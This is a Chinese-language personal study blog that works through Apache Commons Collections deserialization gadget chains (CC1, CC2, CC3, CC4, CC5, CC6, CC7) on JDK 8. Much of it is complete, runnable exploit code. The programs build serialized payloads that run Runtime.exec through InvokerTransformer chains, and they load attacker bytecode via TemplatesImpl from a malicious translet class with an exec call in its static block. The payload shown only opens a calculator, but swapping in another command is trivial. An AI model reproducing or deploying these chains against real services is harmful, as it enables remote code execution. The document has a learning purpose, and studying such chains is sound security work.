# CC1

# TransformMap

环境:
·JDK8u65
·commons-collections-3.2.1

以 TransformMap 为核心的 cc 链,大致的寻找思路就是
从 InvokeTransformer 中的 transform 接口存在反射任意调用的情况,将其作为链子的终点

找到有同名方法 transform 的不同名函数 TransformedMap
其中 checkSetValue 调用了 transform 方法,但需要控制 valueTransformer 的值为 InvokeTransformer

控制的方法在 TransformedMap 的构造函数中,但是构造域是 protected,还要去找谁能调用

找到静态方法 decorate ()

回过头去寻找谁能调用 checkSetValue,是 AbstructInputCheckedMapDecorator 类中的 MapEntry

setValue 能调用 checkSetValue,自身又会在 Map 遍历时被调用,所以需要找到能遍历 Map 的类
这样就找到了链首 AnnotationInvocationHandler 中的 readObject
它刚好也可以进行 Map 遍历调用 setValue

到这里基本的链子已经找到了,下面给个半成品凑凑字数

package  org.example;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class Main {
    public static void main(String[] args) throws Exception {
        Runtime r =  Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a Calculator"});
        // 创建 InvokerTransformer 对象,用于反射调用
        HashMap<Object,Object> map = new HashMap<>();
        map.put("key","value");// 放入测试键值对
        Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);
        Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> constructor = c.getDeclaredConstructor(Class.class,Map.class);// 获取构造方法
        constructor.setAccessible(true);
        Object o = constructor.newInstance(Override.class,transformedMap);// 创建实例
        serialize(o);
        unserialize("ser.bin");
//      for(Map.Entry<Object,Object> entry : transformedMap.entrySet()){
//          entry.setValue(r);
//      }
    }
    public  static  void serialize(Object o) throws Exception{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(o);
    }
    public  static  Object unserialize(String filename) throws  Exception{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        Object obj = ois.readObject();
        return obj;
    }
}

这里的主要问题就是没有通过 setValue 的两个 if 判断,其次是 Runtime 不能序列化
Runtime 不能序列化,但是 Runtime.class 可以

Class c = Runtime.class;
Method getRuntimeMethod = c.getDeclaredMethod("getRuntime");// 获取 getRuntime
Runtime r = (Runtime) getRuntimeMethod.invoke(null);// 静态无参,Runtime.getRuntime
Method execMethod = c.getMethod("exec", String.class);
execMethod.invoke(r,"open -a Calculator");

为了能在反序列化中触发将其改造成 InvokeTransformer 的形式

Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a Calculator"}).transform(r);

这里还能通过 ChainedTransformer 进行递归调用来减少复用

Transformer[] transformers = new Transformer[]{
    new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
    new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
    new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a Calculator"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);

剩下两个 if 判断,由于之前用的注解是 Override.class,其成员变量是 null,所以第一个 if 是过不去的

所以得换一个,并且需要 get (name) 获得的方法名字需要 hashmap 传入的和注解成员变量名一致,这样 type 的值才不会是 null
这里选了 Retition,其成员变量名为 value,所以 put 的内容也要改为 value
第二个 if 是要求 value 不是 memberType 的实例且不是 ExceptionProxy 的实例
注意,这里的 value 指的是键值对的 value,不是 key
上面的写法直接会通过第二个 if,所以只需要关系最后能不能控制 setValue 就完了
调试~

可以发现最后 transform 中的 value 是 AnnotationTypeMismatchExceptionProx,不是期望的 Runtime.class
但是还能蒸
有一个叫 ConstantTransformer 的类,其 transform 的返回值固定为 iConstant

有了这个就不怕被前面的 AnnotationTypeMismatchExceptionProx 了,不管怎么样,Runtime.class 都能传进去
附完整 exp:

package  org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class Main {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a Calculator"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        
        HashMap<Object,Object> map = new HashMap<>();
        map.put("value","test");// 放入测试键值对
        Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);
        Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> constructor = c.getDeclaredConstructor(Class.class,Map.class);// 获取构造方法
        constructor.setAccessible(true);
        Object o = constructor.newInstance(Retention.class,transformedMap);// 创建实例
        serialize(o);
        unserialize("ser.bin");
    }
    public  static  void serialize(Object o) throws Exception{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(o);
    }
    public  static  Object unserialize(String filename) throws  Exception{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        Object obj = ois.readObject();
        return obj;
    }
}

丢一张思维导图

# LazyMap

环境:
·JDK8u65
·commons-collections-3.2.1

还是 InvokeTransformer,通过 LazyMap 构造的 cc 链核心思想和 TransformMap 差不多,就不扔思维图了,个人感觉也容易推些。
这次盯上的是 LazyMap 的 get 方法,用到了 transform

其中 factor 是 Transform,所以要想办法传值,传值就要看 LazyMap

但是 protected,不能直接调用,刚好也存在 decorate 方法可以 new 一个 LazyMap 对象

怎么控制 factor 知道了就准备找一找有 get 的不同名函数
查找方法直接 4 千多条,直接抄答案了,还是 AnnotationInvocationHandler

这里是在就 invoke 中,不是先前的循环中的 get (name) 了,因为那找的是注解
而这个类的 invoke 方法调用需要动态代理
当然,想走到后面的 get 也需要经过两次 if,第一个不能调用 equals 方法,会 return 别的方法,第二个不能有参,不然会抛出异常(和注解实现有关)
然后刚好,调用无参方法,entrySet () 正好是无参的

浑然天成,有点帅

package  org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class Main {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a Calculator"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object,Object> map = new HashMap<>();
        Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);
        Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> constructor = c.getDeclaredConstructor(Class.class,Map.class);// 获取构造方法
        constructor.setAccessible(true);
        InvocationHandler invocationHandler= (InvocationHandler) constructor.newInstance(Override.class,lazyMap);// 创建实例
        Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},invocationHandler);// 创建代理对象,代理 Map 接口
        Object o = constructor.newInstance(Override.class,mapProxy);// 包装代理对象
        serialize(o);
        unserialize("ser.bin");
    }
    public  static  void serialize(Object o) throws Exception{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(o);
    }
    public  static  Object unserialize(String filename) throws  Exception{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        Object obj = ois.readObject();
        return obj;
    }
}

这样嵌套两层,反序列化触发 readObject,又通过 entrySet 去通过 invoke 触发后的 if 判断,进而走到 LazyMap.get () 进行接下来的调用

# CC6

环境:
·JDK8u71
·commons-collections-3.2.1

前面还是到 LazyMap 这里,其实也能理解,有 get 的不同名函数实在是太多了
这次的是这个

map 和 key 都是 TiedMapEntry 的参数,可控,且作用域是 public,可以直接调用
getValue 方法调用了 get,类中的 hashCode 方法则调用了 getValue
提到 hashCode,不就是 HashMap 吗
直接开写

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
    new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
    new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a Calculator"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"key");
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry,"value");
serialize(hashMap);
unserialize("ser.bin");

写是这么写的,其实是在 new TiedMapEntry 的时候就弹出计算器了,看别人说是因为 debug 会自动调用 toString () 方法,创建 TiedMapEntry 时 getValue 被触发了,所以链子直接走完了

在设置里修改,不启用 toString 对象视图和集合类的代替视图这两个功能

但后面还是有问题,计算器会在序列化的时候弹出来,和之前 URLDNS 链有相似之处,HashMap 中的 readObject 会调用 put 进行赋值,但是同时也会触发 hashCode,导致提前执行
和之前修改 hashcode 的值异曲同工
先前 URLDNS 链是先将 hashcode 改为其他值,后面通过反射改回 - 1,这里也差不多,在 put 时传一个别的 Transformer 对象,后面再通过反射把 factory 改回 ChainedTransformer

// 第二版
Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
    new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
    new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a Calculator"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));// 设置无用的 Transformer
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"key");
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry,"value");
Class c = LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,chainedTransformer);// 将 lazyMap 中的值改回来,反序列化时调用

这样改确实能防止序列化时不触发,但怎么反序列化时不弹了...
给 hashMap.put 打个断点,进去看看怎么个事

可以看到 LazyMap 的 get 方法因为找不到 key 触发,然后就把新的 key 值存入,而我们想要第二次调用 get 方法就必须满足 LazyMap 中没有 key,解决的办法就是删掉后来被 put 进去的 key

package  org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class Main {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a Calculator"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object,Object> map = new HashMap<>();
        Map<Object,Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));// 设置无用的 Transformer
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"key");
        HashMap<Object,Object> hashMap = new HashMap<>();
        hashMap.put(tiedMapEntry,"value");
        lazyMap.remove("key");// 删除被放入的 key 以便二次触发 get
        Class c = LazyMap.class;
        Field factoryField = c.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(lazyMap,chainedTransformer);// 将 lazyMap 中的值改回来,反序列化时调用
        serialize(hashMap);
        unserialize("ser.bin");
    }
    public  static  void serialize(Object o) throws Exception{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(o);
    }
    public  static  Object unserialize(String filename) throws  Exception{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        Object obj = ois.readObject();
        return obj;
    }
}

# CC3

环境:
·JDK8u65
·commons-collections-3.2.1

上面了解的三种都是通过 Runtime.exec () 来命令执行,从这里开始就涉及动态加载字节码来执行恶意代码
两者还是有不小差别的
动态加载字节码之前也写过,大致流程就是:

ClassLoader.loadClass() --> ClassLoader.findClass() --> ClassLoader.defineClass()

只做类加载不会执行代码,所以还需要靠 newInstance () 来进行实例化,并且 defineClass 的作用域还是 protected
ClassLoader 中同名方法不少,得一个个找,最后找到一个:

从这里 find usage,就到这次的主角,Templateslmpl 的 defineClass 上,Class 前面没写,就是 default

说明自己这个包底下能调用,再去找哪里调了

在自己的 defineTransletClasses () 方法下面,这里通过 defineClass 获取了一个 Class,但是方法还是私有的,继续找

在这里,getTransletInstance () 方法调用完方法在给 Class 赋完值之后还有一步 newInstance (),正好帮我们完成了初始化,但本身还是个私有方法,所以得继续找

最后还是找到了
后面就是一步步解决限制条件了
在 getTransletInstance () 中需要满足 _name != null_class == null 这两个条件
在 defineTransletClasses () 中要满足 _bytecodes != null 不然会抛异常,下面的 _tfactory 因为要调用方法也需要赋值
通过反射修改
_name 给一个 String; _class 没有被赋初始值不用管; _bytecodes 需要是一个二维数组,传递进 defineClass 方法时是 for 循环传个一维数组,这里放置恶意字节码; _tfactory 有个关键字是 transient,无法序列化,反射修改没用,但在 readObject 方法中发现了它的另一个定义,new 了一个对象,利用这个就可以防止值为 null

改完上面几个问题就这样

TemplatesImpl templates = new TemplatesImpl();
        Class c = templates.getClass();
        Field nameField = c.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates, "abc");
        byte[] code = Files.readAllBytes(Paths.get("/Users/xxx/cc/target/classes/org/example/Calc.class"));
        byte[][] codes = {code};
        Field bytesField = c.getDeclaredField("_bytecodes");
        bytesField.setAccessible(true);
        bytesField.set(templates, codes);
        Field tfactoryField = c.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates, new TransformerFactoryImpl());
        templates.newTransformer();

不过是报错版本,报错在 defineTransletClasses,打个断点,调试一番

问题出在 _auxClasses 这里,发生了 NPE,前面的 equals 检查没通过,跳转过来,但值为 null
假如这里我们给 _auxClasses 赋值,摆脱了这个错误,由于前面的 if 判断给 transletIndex 赋为 - 1,所以在后面也会进入 <0 这个 if 判断逻辑,进而抛出错误
所以较好的解决方法应该是尝试让传进去的字节码继承 ABSTRACT_TRANSLET 这个父类,这样就万事大吉啦

修改完的 Calc.java

package org.example;
import java.io.IOException;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class Calc extends AbstractTranslet {
    static {
        try {
            Runtime.getRuntime().exec("open -a Calculator");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }
}
// 满足 AbstractTranslet 的抽象方法

Main.java 不用改,直接运行,计算器弹出~
由于 TemplatesImpl 可以动态加载字节码,所以前面的几条命令执行的链子的链尾都可以用,以加载字节码代替使用 Runtime 的反射来命令执行
以 LazyMap 那条链子作为修改例子:

TemplatesImpl templates = new TemplatesImpl();
Class c = templates.getClass();
Field nameField = c.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "abc");
byte[] code = Files.readAllBytes(Paths.get("/Users/xxx/cc/target/classes/org/example/Calc.class"));
byte[][] codes = {code};
Field bytesField = c.getDeclaredField("_bytecodes");
bytesField.setAccessible(true);
bytesField.set(templates, codes);
Field tfactoryField = c.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
//templates.newTransformer();
Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(templates),
    new InvokerTransformer("newTransformer",null,null)// 无参方法
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(1);// 调用,实际值会被 templates 代替

当然只是测试是否可行,完整的改版只需要把前半条链子的内容加进去就行,TransformMap 也是一样的道理,就不继续水字数了
OK, 接着继续
顺着 newTransform 方法往下找,来完善链子
找到的是 TrAXFilter,并不支持序列化,但可以从构造函数入手尝试传参

直接传的是 Templates,并且对于 templates,调用了 newTransformer,也就是说,只要能触发构造函数并且能控制住传参,就能命令执行
这里没有采用 InvokeTransformer,而是调用了 InstantiateTransformer,来看看具体是咋回事

在其 transformer 方法中,会判断传入的 Class 是否为空,不是的话,获取参数的构造器并调用构造函数
那很好了,契合我们之前的想法,而且也能序列化
根据传参要求,尝试写一下 exp

package  org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class Main {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Class c1 = templates.getClass();
        Field nameField = c1.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates, "abc");
        byte[] code = Files.readAllBytes(Paths.get("/Users/xxx/cc/target/classes/org/example/Calc.class"));
        byte[][] codes = {code};
        Field bytesField = c1.getDeclaredField("_bytecodes");
        bytesField.setAccessible(true);
        bytesField.set(templates, codes);
        Field tfactoryField = c1.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates, new TransformerFactoryImpl());
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object,Object> map = new HashMap<>();
        Map<Object,Object> lazyMap = LazyMap.decorate(map, chainedTransformer);
        Class c2 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = c2.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Override.class,lazyMap);
        Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},invocationHandler);
        Object o = constructor.newInstance(Override.class,proxyMap);
        serialize(o);
        unserialize("ser.bin");
}
    public  static  void serialize(Object o) throws Exception{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(o);
    }
    public  static  Object unserialize(String filename) throws  Exception{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        Object obj = ois.readObject();
        return obj;
    }
}

这里还是要注意 setValue 传参控制的问题,当然,换成 TiedMapEntry 一样可以,无非是谁当链首

# CC4

环境:
·JDK8u65
·commons-collections-4.0
还是动态加载字节码的方式命令执行,链尾和 CC3 差不多,链首不再由 AnnotationInvocationHandler 触发
还是从 transform 入手
在 TransformingComparator 类的 compare () 方法调用了它

熟悉的流程,往前找,谁调用了 compare,比较常见的方法,用法满多,找同名的同时还要关注 readObject 方法
找到的是 PriorityQueue 类,和优先队列有关的类

在 heapify () 方法中调用了 siftDown () 方法

siftDown 中调用了 siftDownUsingComparator 方法

而 compare 的调用则是在 siftDownUsingComparator 中

(我是抄答案高手🤓👆)
这里提一嘴,在 4.0 之前,TransformingComparator 是没有实现序列化接口的,莫名其妙在 4.0 添加了
按照前面的逻辑写一手

TemplatesImpl templates = new TemplatesImpl();
Class c1 = templates.getClass();
Field nameField = c1.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "abc");
byte[] code = Files.readAllBytes(Paths.get("/Users/xxx/cc/target/classes/org/example/Calc.class"));
byte[][] codes = {code};
Field bytesField = c1.getDeclaredField("_bytecodes");
bytesField.setAccessible(true);
bytesField.set(templates, codes);
Field tfactoryField = c1.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
ransformer[] transformers = new Transformer[]{
    new ConstantTransformer(TrAXFilter.class),
    instantiateTransformer
};
ChainedTransformer chainedTransformer =new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
        
serialize(priorityQueue);
unserialize("ser.bin");

结果就是没有结果,无事发生...
在 heapify 下个断点调试一下

这里 size 的值是 0,先是经过二进制无符号右移一位(结果还是 0),再 - 1,最后 i 的值就是 - 1,所以不会进入循环,也就调用不了 siftDown
那简单,直接反射改 size 的值

Class c2 = PriorityQueue.class;
Field priorityQueueField = c2.getDeclaredField("size");
priorityQueueField.setAccessible(true);
priorityQueueField.setInt(priorityQueue, 2);

这样把 size 的值改为 2,使得 i 的值变为 0,能步入循环
最后也是成功弹出计算器
这里不建议使用 add 去改值,因为这样会直接触发 compare 方法导致本地执行
走也是能走通,但要改来改去,添加无关对象,还要 add 完之后再反射,有点多此一举的感觉

# CC2

环境:
·JDK8u65
·commons-collections-4.0
这条链子在首尾和 CC4 基本差不多,区别在于抛弃了 Instantiatetransformer 初始化 TrAXFilter 类和 TemplatesImpl.newTransformer 这两步
转而通过 Invokertransformer 连接
我本来以为这么写就完了

InvokerTransformer<Object,Object> invokerTransformer = new InvokerTransformer<>("newTransformer",new Class[]{},new Object[]{});
TransformingComparator transformingComparator = new TransformingComparator(invokerTransformer);
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
Class c2 = PriorityQueue.class;
Field priorityQueueField = c2.getDeclaredField("size");
priorityQueueField.setAccessible(true);
priorityQueueField.setInt(priorityQueue, 2);

结果拉了坨大的,爆 NPE 了,结果调试一看

传了两个空对象进去,难怪炸了
这里要传两个对象,所以 size 的事就不用考虑了,直接就是 2,所以只要通过 add 传入构造好的对象,然后反射修改无用对象,规避一下 add 方法的副作用就行
完整 exp 如下

package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class CC2 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Class c1 = templates.getClass();
        Field nameField = c1.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates, "abc");
        byte[] code = Files.readAllBytes(Paths.get("/Users/xxx/cc/target/classes/org/example/Calc.class"));
        byte[][] codes = {code};
        Field bytesField = c1.getDeclaredField("_bytecodes");
        bytesField.setAccessible(true);
        bytesField.set(templates, codes);
        Field tfactoryField = c1.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates, new TransformerFactoryImpl());
        InvokerTransformer<Object,Object> invokerTransformer = new InvokerTransformer<>("newTransformer",new Class[]{},new Object[]{});// 代替
        TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));// 先设一个无用对象
        PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
        priorityQueue.add(templates);
        priorityQueue.add(templates);
        Class c2 = transformingComparator.getClass();
        Field transformerField = c2.getDeclaredField("transformer");
        transformerField.setAccessible(true);
        transformerField.set(transformingComparator, invokerTransformer);// 反射修改成构造好的
        serialize(priorityQueue);
        unserialize("ser.bin");
    }
    public static void serialize(Object o) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(o);
    }
    public static Object unserialize(String filename) throws Exception {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        Object obj = ois.readObject();
        return obj;
    }
}

这里还要提一下,传入两个对象,只有第一个会被执行,至于为什么
参考上面那张图(太懒了不想再截一次),有对象直接 transform 后面啥都干完了,没第二个事了
当然不是说第二个没用,还要靠他凑 size 值呢,只传一个也不行,这里图方便直接写一样的了
这条链的意义,可以理解为避免了 Transformer 数组的使用

# CC5&CC7

# BadAttributeValueExpException

环境:
·JDK8u65
·commons-collections-3.2.1

写到这里,其实我已经有点蒸不动了,大晚上秉持着写完就去吃青提的想法,想要速速结束 cc 链阶段的学习,正好组长的视频也只是粗略地提了一下
CC5 这条链在 CC1 的基础上,通过 BadAttributeValueExpException.readObject 方法调用了 toString 方法,正好 TiedMapEntry 类也调用了 toString 方法
然后 toString 又去触发 getValue,到这就熟悉了

这里需要的就是修改 val 值,直接反射修改就完事了

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);  
 Class c = Class.forName("javax.management.BadAttributeValueExpException");  
 Field field = c.getDeclaredField("val");  
 field.setAccessible(true);  
 field.set(badAttributeValueExpException, tiedMapEntry);  
 serialize(badAttributeValueExpException);  
 unserialize("ser.bin");

后面部分几乎不需要变动

# Hashtable

环境:
·JDK8u65
·commons-collections-3.2.1

链子后半条也是和 CC1 是一样的,就是入口换成了 Hashtable 类
来看看 readObject 类

找到 reconstitutionPut 方法,跟进

有 hashCode 方法,也有 equals 方法,这次走 equals 方法
在 AbstractMapDecorator 这个类中能看到继承了 Map 接口

这个 Map 接口的实现类里面有个 AbstractMap
它里面的 equals 方法调用了 get 方法

到 get 了,那后面 LazyMap 的部分直接照抄就行
但正确的调用顺序有点问题,应该是先去看了 LazyMap 的 equals,然后去找父类 bstractMapDecorator,然后通过接口找到了 AbstractMap 的 equals 方法,再调用到 LazyMap 的 get
前面利用的想法就是传入恶意 key,后面会自己调用 key.equals ()
这里还会涉及到 hash 碰撞的问题,在 yso 的链子会 put 两次键值对
这里我就不再展开了,扔个 Drunkbaby 大佬的 CC7 链接

# 小结

woc,我终于写到这里了😭
从 7.10 晚上八点创建到 8.15 晚上 11 点半结束,一个多月时间,磕磕绊绊终于写完了,虽然 CC7 写的有点潦草...
都怪阳光青提好吧,太诱人了😋()
这估计是我写过最长的一次笔记了,不论是时间跨度还是内容长度,当然,并不是一个多月都在学 cc 链,大概是抽了两周的时间
后面接着就是 Shiro 了,继续加油吧,争取 9 月之前学完,因为接下来又有事哩...
溜了溜了~

参考
b 站白日梦组长